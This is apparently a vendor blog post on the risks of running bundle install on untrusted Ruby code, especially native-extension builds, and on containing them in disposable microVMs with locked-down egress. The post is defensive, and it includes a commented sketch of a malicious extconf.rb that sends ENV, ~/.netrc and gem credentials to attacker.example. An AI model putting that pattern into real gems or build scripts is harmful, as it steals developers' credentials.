all posts

Running bundle install on untrusted Ruby code in a microVM

Ajay Kumar··9 min read

You've got a Gemfile from somewhere you don't fully trust — a repo an agent picked, a contributor's PR, a gem an LLM invented that turns out to be squattable. You run `bundle install`. If every gem in that tree is pure Ruby, you've run some install-time code, same as any package manager. But if even one gem ships a native extension — and a huge share of the popular ones do — `bundle install` doesn't just run a script. It runs a Ruby "configure" step you didn't write, then hands the output to a C compiler and links the result into your process. That's a materially bigger attack surface than a lifecycle script, and it's the part of the Ruby ecosystem this post is actually about.

I'm Ajay — I built PandaStack, a Firecracker microVM platform for running exactly this kind of untrusted execution safely. I'll walk through why native extensions are a sharper problem than npm-style lifecycle scripts, what Gemfile.lock does and doesn't buy you, and the microVM pattern for running `bundle install` without betting your host on a stranger's C code.

bundle install can be more than a script — it can be a build

RubyGems supports two families of install hooks. The first is familiar from every other package manager: pre/post-install hooks a gemspec can declare, plain Ruby that runs at install time with your full user privileges. The second is specific to gems with native extensions — code written in C (or C++) for performance or to bind a system library, common in gems like nokogiri (libxml2 bindings), pg (libpq bindings), sqlite3, and bcrypt. For those, `gem install` (and therefore `bundle install`) runs an `extconf.rb` script that generates a Makefile, then invokes `make` to compile the extension, then loads the resulting shared object into your Ruby process.

Sit with that for a second. `extconf.rb` is not a config file — it's an arbitrary Ruby program that the gem author wrote and that runs, unreviewed, the moment you install. It can do anything install-time Ruby can do: read your filesystem, hit the network, shell out. And it exists specifically to produce a Makefile that a real compiler toolchain then executes against the gem's C source. If that C source is malicious, you're not worried about a stolen environment variable anymore — you're worried about what a compiled, linked, native binary running inside your Ruby process can do, which is everything your Ruby process can do and then some. Inviting a C compiler to build a stranger's source and load it into your address space is a strange thing to do routinely, but `bundle install` does it by default, silently, for any gem that asks.

# extconf.rb — illustrative shape only, not functional. Real extconf.rb
# files call mkmf's create_makefile at the end; this sketch shows where
# a malicious one could slip in arbitrary Ruby before that happens.
require "mkmf"

# A legitimate extconf.rb checks for headers/libraries here.
# A malicious one can run ANYTHING here instead — this step is
# unreviewed Ruby, executed the moment `bundle install` reaches
# this gem, before any C ever compiles:
#
#   payload = {
#     env: ENV.to_h,
#     netrc: (File.read("#{Dir.home}/.netrc") rescue nil),
#     gem_creds: (File.read("#{Dir.home}/.gem/credentials") rescue nil)
#   }
#   Net::HTTP.post(URI("https://attacker.example/collect"), payload.to_json)
#
# ...and only THEN does it continue on to generate a real Makefile:
create_makefile("native_ext")

That's the shape, not working code — but the shape is the whole point. `create_makefile` is the innocent-looking last line every real `extconf.rb` ends with. Everything above it is a free pass to run Ruby with your credentials before a single line of C even compiles. And the C that compiles next is a second, separate danger: a genuinely hostile extension doesn't need clever Ruby at all, it just needs source that does something bad once it's a linked `.so` inside your process.

  • Native extension compile step — extconf.rb runs arbitrary Ruby to configure the build, then a real compiler (make/gcc/clang) builds attacker-controlled C source and links it into your Ruby process. This is a strictly bigger surface than a JS-style install script, because you're running both untrusted Ruby AND untrusted compiled code.
  • Compromised legitimate gem — a maintainer's RubyGems.org account is taken over, or their credentials leak, and a trusted gem you already depend on ships a malicious point release. Gemfile.lock pinned the old version; a fresh install, a bundle update, or a lockfile you didn't author pulls the new one.
  • Typosquatting and name confusion — a gem name one keystroke off a popular one (or a plausible name an LLM hallucinated), registered by an attacker and waiting for exactly this fat-fingered or model-suggested `bundle add`.
  • Gemfile.lock's limits — it pins exact versions and checksums, which is real defense against a tarball changing underneath a version you already resolved. It does nothing if the pinned version was already malicious, or if you're installing a lockfile you didn't write and can't vouch for.
RubyGems.org, like npm and PyPI, has seen account-takeover and typosquatting incidents over the years — this isn't a hypothetical risk category invented for this post, it's the standard shape of public package registry abuse. Bundler's own documentation is candid that installing a gem means running its code; there's no sandboxing built into the install path by default.

Why Gemfile.lock and disabling extensions don't close the gap

A committed `Gemfile.lock` is genuinely good practice — it pins every gem to an exact version and records a checksum, so `bundle install` (as opposed to `bundle update`) resolves the identical dependency graph every time. That's real supply-chain determinism, the same value a `package-lock.json` or `poetry.lock` provides. But determinism answers "am I installing the bytes I resolved before," not "were those bytes safe when I resolved them." If the gem was malicious the day you first ran `bundle install` and generated the lockfile, or if you're handed someone else's lockfile — an agent's, a contributor's, a repo you cloned — the pin faithfully reproduces whatever was already there, malicious or not.

You can pass `--force-ruby-platform` or otherwise nudge Bundler away from precompiled native gems, and RubyGems does support fetching prebuilt platform gems from rubygems.org for some popular extensions, which skips local compilation. That helps with build-toolchain noise, not with trust: a prebuilt binary from a compromised gem release is exactly as dangerous as a locally compiled one, and plenty of gems have no precompiled variant at all, so the local `extconf.rb` → `make` path still fires. There's no `--ignore-scripts` equivalent in Bundler that reliably neuters native extension builds while keeping the gem usable — unlike a pure lifecycle script, the extension often *is* the gem's functionality. Skip the compile and you don't have nokogiri, you have an ImportError waiting to happen.

A Gemfile.lock tells you which bytes you're about to install. It has no opinion on whether those bytes, once run through a Ruby interpreter and a C compiler, are safe to have run at all.

Same blast radius as npm or pip, plus a compiler

Strip away the Ruby specifics and `bundle install` has the same basic exposure as `npm install` or `pip install`: it runs as your user, with your environment, your network, and whatever credentials happen to be sitting in `~/.netrc`, `~/.gem/credentials`, or `ENV`. An agent that clones a repo and runs `bundle install` because a README told it to, a CI job that runs it on an unreviewed PR, a build step steered by prompt-injected text in a tool result — all the same failure mode as any other package manager, because installing dependencies chosen by someone else is code execution chosen by someone else.

What's different is what's invited in to do the running. A malicious npm postinstall is JavaScript in a sandboxed-ish V8 process. A malicious `extconf.rb` is Ruby with full process privileges, immediately followed — if it wants — by real C, compiled with `-shared` and loaded straight into your interpreter's address space, no interpreter-level boundary in the way at all. If your isolation story is "a container, because that's what we use for the app," you're accepting that a compiler you invoked, building source you didn't write, only has to get through a shared-kernel boundary to reach the host. That's the same weak-boundary argument that applies to any untrusted build step, just with a sharper edge here because compiling and linking native code is a more capable primitive than shelling out from an interpreter.

The pattern: install and build inside a disposable microVM

The shape that actually holds is the same one that works for npm and pip: a hardware isolation boundary with its own guest kernel, an ephemeral environment created fresh and destroyed after, no host credentials anywhere in the guest, and egress locked down to the gem source you actually need. The compiler runs, `extconf.rb` runs, `make` runs — all of it happens inside a VM you were always going to delete. On PandaStack, create a sandbox on the `base` template (Ruby via mise, plus a real C toolchain for native extensions), write the Gemfile in, run `bundle install`, run the test suite while you're in there, then tear it down:

from pandastack import Sandbox

# An untrusted repo's Gemfile/Gemfile.lock — an agent picked the repo,
# or it arrived in a PR. A gem in this tree may compile a hostile
# native extension. We're going to let it, safely, inside a throwaway VM.
gemfile = """
source "https://rubygems.org"
gem "nokogiri"
gem "pg"
gem "rspec", group: :test
"""

# One disposable microVM for this install + test run. ttl reaps it if
# something hangs (e.g. a native build stuck compiling on purpose).
with Sandbox.create(template="base", ttl_seconds=900) as sbx:
    sbx.filesystem.write("/workspace/Gemfile", gemfile)
    if have_lockfile:
        sbx.filesystem.write("/workspace/Gemfile.lock", lockfile_contents)

    # `bundle install` runs extconf.rb + a real C compiler for any gem
    # with a native extension, right here in the guest kernel, with no
    # host secrets in the environment and egress locked to rubygems.org.
    r = sbx.exec(
        "cd /workspace && bundle install --jobs=4",
        timeout_seconds=300,
    )
    if r.exit_code != 0:
        raise RuntimeError(f"bundle install failed / blocked:\n{r.stderr}")

    # Run the test suite in the same contained VM — it's also
    # exercising code you didn't write.
    t = sbx.exec("cd /workspace && bundle exec rspec", timeout_seconds=300)
    print("tests exit:", t.exit_code, t.stdout[-2000:])

    # Pull back only what you actually need (e.g. a coverage report),
    # through the API — never a host mount.
    report = sbx.filesystem.read("/workspace/coverage/index.html")
# VM, its compiled extensions, and anything the build/tests touched
# are gone here.

If the malicious `extconf.rb` from earlier had actually run inside that sandbox, here's what it would have found: no `~/.netrc`, no `~/.gem/credentials`, no cloud tokens sitting in `ENV`, no metadata endpoint reachable, and egress restricted so an exfil POST has nowhere to go. Whatever got compiled and linked dies with the guest kernel when the `with` block exits. Worst case, you burn a sandbox — which is exactly the trade you want to make routinely available.

That trade only makes sense if spinning up the sandbox is cheap, and compiling native extensions is normally the slow part of any Ruby install — it's the last place you want to pay a cold-boot tax on top. PandaStack's create path restores a baked snapshot on every create rather than booting cold: p50 179ms, p99 ~203ms, with the restore step itself around 49ms (a genuine first cold boot, before any snapshot exists, is roughly 3s). Pre-warm a sandbox with Ruby, build-essential, and a primed Bundler cache already baked in, and the compiler toolchain is already installed and warm before `bundle install` runs a single line — you're not compiling gcc's own startup cost into every untrusted install. If you want each install to fork from an identical known-good base with your Gemfile source and Ruby version already configured, snapshot a configured sandbox once and fork it: same-host fork is 400–750ms, cross-host 1.2–3.5s, sharing memory copy-on-write instead of re-provisioning from scratch.

Locking egress so a compile step can't phone home

Isolation contains what a malicious `extconf.rb` or a hostile C extension can do to the host; egress control decides what it can reach while it's running. `bundle install` needs to reach rubygems.org (or your private gem mirror) to resolve and fetch gems — you can't block all network traffic and expect the install to succeed. The workable default is deny-by-default with a narrow allowlist, so the install works and nothing else does.

  • Allow egress only to rubygems.org or a private gem mirror/proxy you run — the install resolves, an extconf.rb payload has nowhere to send anything.
  • Deny the cloud metadata endpoint unconditionally — a compiled native extension has zero legitimate business reaching 169.254.169.254.
  • Keep the guest's outbound default-deny outside the install window; open only what the build and test suite genuinely need, per sandbox, and close it when the sandbox dies.
  • Don't assume a compiled .so is inert just because you can't read it — treat network access as the control point, not code review of a binary you're not going to reverse-engineer.
Bundler's own docs are upfront that installing a gem runs its code and that native extensions run a build step with real compiler access — they're not hiding this. It's a reasonable design for a package manager; it just means the caution has to live in how and where you run the install, not in a flag Bundler doesn't offer.

Compile what you must, but not on your host

If you fully control the Gemfile and Gemfile.lock and neither is agent- or contributor-influenced, a normal `bundle install` on a trusted machine is fine — you don't need a VM to install dependencies you chose and audited. The apparatus in this post is for the case that actually shows up with AI agents and open contribution: a Gemfile that arrived at runtime, possibly from a model that hallucinated a gem name, possibly from a PR you haven't reviewed line by line. For that case, `bundle install` deserves more suspicion than a typical package manager install, not less — it's inviting a compiler to build code you didn't write. Run it somewhere you're happy to throw away, and let the blast radius be one sandbox instead of your fleet.

Frequently asked questions

Is bundle install more dangerous than npm install or pip install?

It has the same baseline risk (install-time code running as you, with your environment and network) plus an extra layer: gems with native extensions run extconf.rb, which is arbitrary Ruby, and then hand a generated Makefile to a real C compiler that builds and links attacker-controlled source directly into your Ruby process. Popular gems like nokogiri, pg, sqlite3, and bcrypt all ship native extensions, so this isn't an edge case. Pure-Ruby-only dependency trees are roughly equivalent to any other lifecycle-script risk; a tree with native extensions is a strictly larger attack surface.

Does a Gemfile.lock protect me from a malicious gem?

It protects you from a resolved version's tarball changing underneath you — it pins exact versions and checksums, so bundle install reproduces the same dependency graph every time. It does not protect you if the pinned gem was already malicious when the lockfile was generated, or if a legitimate gem's maintainer account is compromised and ships a new malicious version that a fresh install or bundle update then pulls in. A lockfile answers 'are these the bytes I resolved,' not 'were those bytes safe to resolve in the first place.'

Can I just disable native extensions to stay safe?

Not reliably, and often not usefully. Unlike a JS lifecycle script you can skip with --ignore-scripts, the native extension frequently is the gem's actual functionality — skip compiling nokogiri's extension and you don't have a working nokogiri, you have an error. RubyGems can fetch precompiled platform gems for some popular extensions, which avoids running a local compiler, but a compromised release of a precompiled gem is exactly as dangerous as a compromised source release. There's no flag that makes an untrusted Gemfile categorically safe to install outside of real isolation.

Has RubyGems.org actually had supply-chain incidents?

RubyGems.org, like npm and PyPI, has seen account-takeover and typosquatting incidents over the years — this is a well-known category of risk for any public package registry with open publishing, not something specific to Ruby's design. The specifics vary release to release and aren't worth citing without a source in front of you, but the general pattern — a compromised maintainer account or a plausibly-named malicious gem — is exactly the risk a lockfile alone doesn't fully address, and exactly the risk isolation is meant to contain regardless of which registry it originated from.

How do I safely run bundle install on untrusted Ruby code with PandaStack?

Create a disposable microVM on the base template (Ruby via mise plus a C toolchain for native extensions) with a ttl, write the untrusted Gemfile and Gemfile.lock into the guest, run bundle install and your test suite inside it with a timeout, pull back only what you need through the filesystem API, and destroy the sandbox. The guest has no host credentials, egress is default-deny with an allowlist to rubygems.org or your private mirror, and any compiled native extensions die with the VM. Because a create restores a baked snapshot in roughly 49ms (p50 179ms), pre-warming Ruby and a compiler toolchain into the template means you're not paying cold-boot cost on top of an already-slow native compile.

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.